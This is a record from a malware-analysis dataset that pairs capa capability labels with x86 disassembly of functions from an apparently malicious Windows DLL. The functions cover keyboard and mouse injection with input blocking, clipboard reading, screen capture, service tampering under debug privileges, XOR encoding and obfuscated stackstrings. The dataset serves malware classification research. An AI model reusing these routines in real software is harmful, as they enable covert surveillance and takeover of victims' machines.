joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10019d30
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10019ee8
call fcn.100302a0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10019ee8
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
push 0
call sub.USER32.dll_BlockInput
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x10019db4
cmp eax, 0x208
ja 0x10019db4
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10019e64
je 0x10019e4c
cmp eax, 0x105
ja 0x10019e20
je 0x10019e02
sub eax, 0x100
je 0x10019de4
dec eax
je 0x10019e02
sub eax, 3
jne case.0x10019e6e.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10019e6e.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10019e6e.521
sub eax, 0x201
je 0x10019e3d
dec eax
jne case.0x10019e6e.521
push 0
push 0
push 0
push 0
push 4
jmp 0x10019ed1
push 0
push 0
push 0
push 0
push 2
jmp 0x10019ed1
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x10019ed1
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10019e6e.521
jmp dword [eax*4 + 0x10019eec]
push 0
push 0
push 0
push 0
push 8
jmp 0x10019ed1
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10019ed1
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10019ed1
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10019ed1
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10019ed1
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x10019d79
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x10019f10
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10019fa2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10019f41
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MFC42.DLL_operatornew
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x84
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10012e90
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1001a4f0
Capabilities:
Check for time delay via queryperformancecounter
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x28
push ebx
mov ebx, dword [esp + 0x30]
push esi
mov esi, ecx
test ebx, ebx
je 0x1001a69b
mov eax, dword [esi + 0x78]
test eax, eax
je 0x1001a69b
push ebp
push edi
call fcn.1001ab50
mov al, byte [esi + 0x10]
lea ecx, [esp + 0x3c]
push 1
push ecx
mov ecx, esi
mov dword [esi + 0x7c], 0
mov byte [esp + 0x44], al
call fcn.1000d0b0
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
fild dword [esi + 0x1c]
push 0
fstp dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fdivr dword [esp + 0x18]
fild dword [esp + 0x1c]
fmul st(1)
fadd dword [0x100bc8c4]
call sub.MSVCRT.dll__ftol
fild dword [esp + 0x20]
mov dword [esp + 0x1c], eax
fmul st(1)
fadd dword [0x100bc8c4]
call sub.MSVCRT.dll__ftol
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push 8
push eax
mov ecx, esi
fstp st(0)
call fcn.1000d0b0
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], 0x14
push ecx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x1001a5db
cmp dword [esp + 0x28], 1
jne 0x1001a5db
mov ecx, dword [esp + 0x2c]
xor edi, edi
lea eax, [esi + 0x1ac]
cmp ecx, dword [eax]
je 0x1001a5c8
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1001a5bb
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x1001a5d7
or edi, 0xffffffff
mov eax, edi
jmp 0x1001a5de
or eax, 0xffffffff
lea edx, [esp + 0x13]
push 1
push edx
mov ecx, esi
mov byte [esp + 0x1b], al
call fcn.1000d0b0
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x48]
mov edx, dword [esi + 0x20]
push eax
mov eax, dword [esi + 0x1c]
push 0
push 0
push ecx
mov ecx, dword [esi + 0x50]
push edx
push eax
push 0
push 0
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
mov al, byte [esp + 0x3c]
cmp al, 1
jne 0x1001a625
push 1
mov ecx, esi
call fcn.1001a6b0
jmp 0x1001a651
cmp al, 2
jne 0x1001a651
mov edx, dword [esi + 0x64]
mov ecx, dword [esi + 0x7c]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x5c]
push eax
mov eax, dword [esi + 0x78]
add ecx, eax
push ecx
push edx
lea ecx, [esi + 0x84]
call fcn.100305c0
test eax, eax
mov dword [ebx], eax
jbe 0x1001a651
add dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
mov ebp, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [ebx], eax
lea edi, [esi + 0x40]
lea ebx, [esi + 0x38]
push edi
call ebp
mov ecx, dword [edi]
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
sub ecx, eax
mov eax, dword [edi + 4]
sbb eax, edx
mov edx, dword [esi + 0x34]
cmp eax, edx
jg 0x1001a68b
jl 0x1001a681
cmp ecx, dword [esi + 0x30]
jae 0x1001a68b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1001a662
push ebx
call ebp
mov eax, dword [esi + 0x78]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x28
ret 4
pop esi
xor eax, eax
pop ebx
add esp, 0x28
ret 4
Function at 0x1001af20
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x1001b0d3
cmp dword [esi + 0x1c], edi
je 0x1001b0d3
call fcn.1001b4e0
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.1001b320
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.1001b320
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x1001afb6
cmp dword [esp + 0x1c], 1
jne 0x1001afb6
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x1001afa3
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1001af96
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x1001afb2
or edi, 0xffffffff
mov eax, edi
jmp 0x1001afb9
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.1001b320
cmp byte [ebx], 2
jne 0x1001b021
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1001b520
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1001b580
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x10131160]
cmp ecx, eax
mov edi, edx
je 0x1001b04e
push edi
mov ecx, esi
call fcn.1001b0e0
test al, al
je 0x1001b04e
add edi, 0x13
jmp 0x1001b051
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1001b06f
push edi
mov ecx, esi
call fcn.1001b0e0
test al, al
je 0x1001b065
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x1001b056
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x10131160], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1001b0bc
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1001b0ab
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x1001b7b0
Capabilities:
Acquire debug privileges
Modify service

Disassembly:
sub esp, 0x1f8
push ebx
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
push 8
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, dword [esp + 0x20c]
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
push 2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov edi, eax
mov al, byte [esp + 0x214]
test al, al
jne 0x1001b82c
mov eax, 4
jmp 0x1001b844
cmp al, 1
jne 0x1001b837
mov eax, 3
jmp 0x1001b844
cmp al, 2
mov eax, 2
je 0x1001b844
mov eax, dword [esp + 0x10]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test edi, edi
je 0x1001b869
push edi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebp
call fcn.1001b780
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1f8
ret 0xc

Function at 0x1001b8b0
Capabilities:
Acquire debug privileges
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x210
push ebx
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, dword [esp + 0x224]
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x2c]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x10024
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x14], 1
je 0x1001b93b
lea eax, [esp + 0x10]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebp
call fcn.1001b780
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 8
Function at 0x1001b980
Capabilities:
Acquire debug privileges
Query service status
Start service

Disassembly:
sub esp, 0x210
push ebx
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, dword [esp + 0x224]
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x2c]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x34
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea edx, [esp + 0x10]
mov esi, eax
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov ecx, dword [esp + 0x22c]
mov eax, 1
cmp ecx, eax
mov ecx, dword [esp + 0x14]
jne 0x1001ba12
cmp ecx, eax
jne 0x1001ba23
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
jmp 0x1001ba23
cmp ecx, eax
je 0x1001ba23
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebp
call fcn.1001b780
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 0xc
Function at 0x1001c010
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1001beb0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1001c058
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1001c032
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x1001c060
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x240
mov ax, word [0x10124870]
mov cl, byte [0x10124872]
push ebx
push esi
push edi
mov word [esp + 0x4c], ax
mov byte [esp + 0x4e], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x4f]
rep stosd dword es:[edi], eax
mov dx, word [0x1012486c]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x1012486e]
lea edi, [esp + 0x14f]
mov byte [esp + 0x14e], al
xor eax, eax
mov word [esp + 0x14c], dx
lea edx, [esp + 0x4c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x48
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x10], 0x57
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov bl, 0x44
and ecx, 3
mov byte [esp + 0xf], bl
rep movsb byte es:[edi], byte [esi]
mov cl, 0x45
mov byte [esp + 0x15], bl
mov byte [esp + 0x13], cl
mov byte [esp + 0x16], cl
mov al, 0x41
mov dl, 0x52
mov bl, 0x53
mov cl, 0x49
mov byte [esp + 0xd], al
mov byte [esp + 0xe], dl
mov byte [esp + 0x11], al
mov byte [esp + 0x12], dl
mov byte [esp + 0x17], bl
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x21], bl
mov al, 0x5c
mov bl, 0x73
mov cl, 0x74
mov dl, 0x65
mov byte [esp + 0x14], al
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x54
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x20], al
mov byte [esp + 0x22], 0x79
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x38], al
mov eax, 4
mov byte [esp + 0x2b], cl
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], eax
mov cl, 0x72
lea eax, [esp + 0x3c]
mov byte [esp + 0x2c], cl
mov byte [esp + 0x30], cl
mov byte [esp + 0x37], cl
push eax
push 1
lea ecx, [esp + 0x14]
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x50
mov byte [esp + 0x45], 0x6f
mov byte [esp + 0x46], 0x63
mov byte [esp + 0x47], dl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4d], 0x30
mov byte [esp + 0x4e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x48]
lea eax, [esp + 0x40]
push edx
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x44]
push ecx
lea edx, [esp + 0x58]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x40]
pop edi
pop esi
pop ebx
add esp, 0x240
ret
Function at 0x1001c230
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x10]
push eax
push 0x100efc80
push 1
push ebx
push 0x100efca0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x1001c260
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 4]
push 0
push edx
mov ecx, dword [eax]
push 0x100efc90
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1001c281
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 4]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0xc]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x1001c320
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0x100bc9d8
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x1001c2fb
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 0
mov word [esp + 0x20], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x1001c2f1
mov edx, dword [esp + 0x24]
inc ebx
push edx
call edi
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 8]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1001c2ac
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x1001c350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov al, 0x74
push esi
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0x10], al
lea eax, [esp + 4]
mov cl, 0x65
push eax
push str.kernel32.dll
xor esi, esi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], cl
mov byte [esp + 0xf], 0x4e
mov byte [esp + 0x10], 0x61
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x14], cl
mov byte [esp + 0x15], 0x53
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x66
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001c3f5
lea ecx, [esp + 0x18]
push ecx
call eax
mov ax, word [esp + 0x18]
cmp ax, 9
je 0x1001c3eb
cmp ax, 6
jne 0x1001c3f5
mov eax, 1
pop esi
add esp, 0x38
ret
mov eax, esi
pop esi
add esp, 0x38
ret
Function at 0x1001c5e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x100
mov ecx, 0x100
xor eax, eax
push ebx
push esi
push edi
mov edi, 0x101322dc
rep stosd dword es:[edi], eax
push str.C:UsersPublicDownloadsDestop.ini
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001c618
push str.C:UsersPublicDownloadsDestop.ini
call fcn.1001c540
add esp, 4
mov ebx, eax
push ebp
xor esi, esi
mov ebp, 0x10123878
mov eax, dword [ebp]
cmp byte [eax], 0x20
jne 0x1001c62e
cmp byte [eax + 1], 0x20
je 0x1001c6a9
push eax
call fcn.1002fb90
add esp, 4
test eax, eax
je 0x1001c6a1
test ebx, ebx
je 0x1001c659
mov eax, dword [ebp + 4]
push ebx
push eax
lea ecx, [esp + 0x18]
push str._s__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x1001c670
mov edx, dword [ebp + 4]
lea eax, [esp + 0x10]
push edx
push 0x101248bc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x101322dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 1
add ebp, 8
jmp 0x1001c620
test esi, esi
pop ebp
jne 0x1001c6ed
test ebx, ebx
je 0x1001c6c8
push ebx
push 0x101248ac
push 0x101322dc
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x1001c6ed
mov edi, 0x101248a0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x101322dc
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.C:UsersPublicDownloadsDe.ini
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001c72a
mov edi, 0x1012489c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x101322dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, 0x101322dc
pop ebx
add esp, 0x100
ret
Function at 0x1001c8b0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
mov eax, dword [str.SYSTEMSetup]
mov ecx, dword [0x1010027c]
mov edx, dword [0x10100280]
mov dword [esp], eax
mov al, byte [0x10100284]
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
mov byte [esp + 0x18], al
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x19]
mov dword [esp + 0x14], edx
mov ebx, dword [esp + 0x414]
mov esi, dword [esp + 0x410]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, ebx
push 0
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, esi
push ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push esi
rep stosb byte es:[edi], al
push 1
lea eax, [esp + 0x20]
push str.Host
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10016a90
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push esi
call edi
test eax, eax
jne 0x1001c945
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x1001d010
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x1001d06a
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x1001d037
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x1001d048
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x1001d059
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x1001d06a
mov eax, str.OTHER_l
pop ecx
ret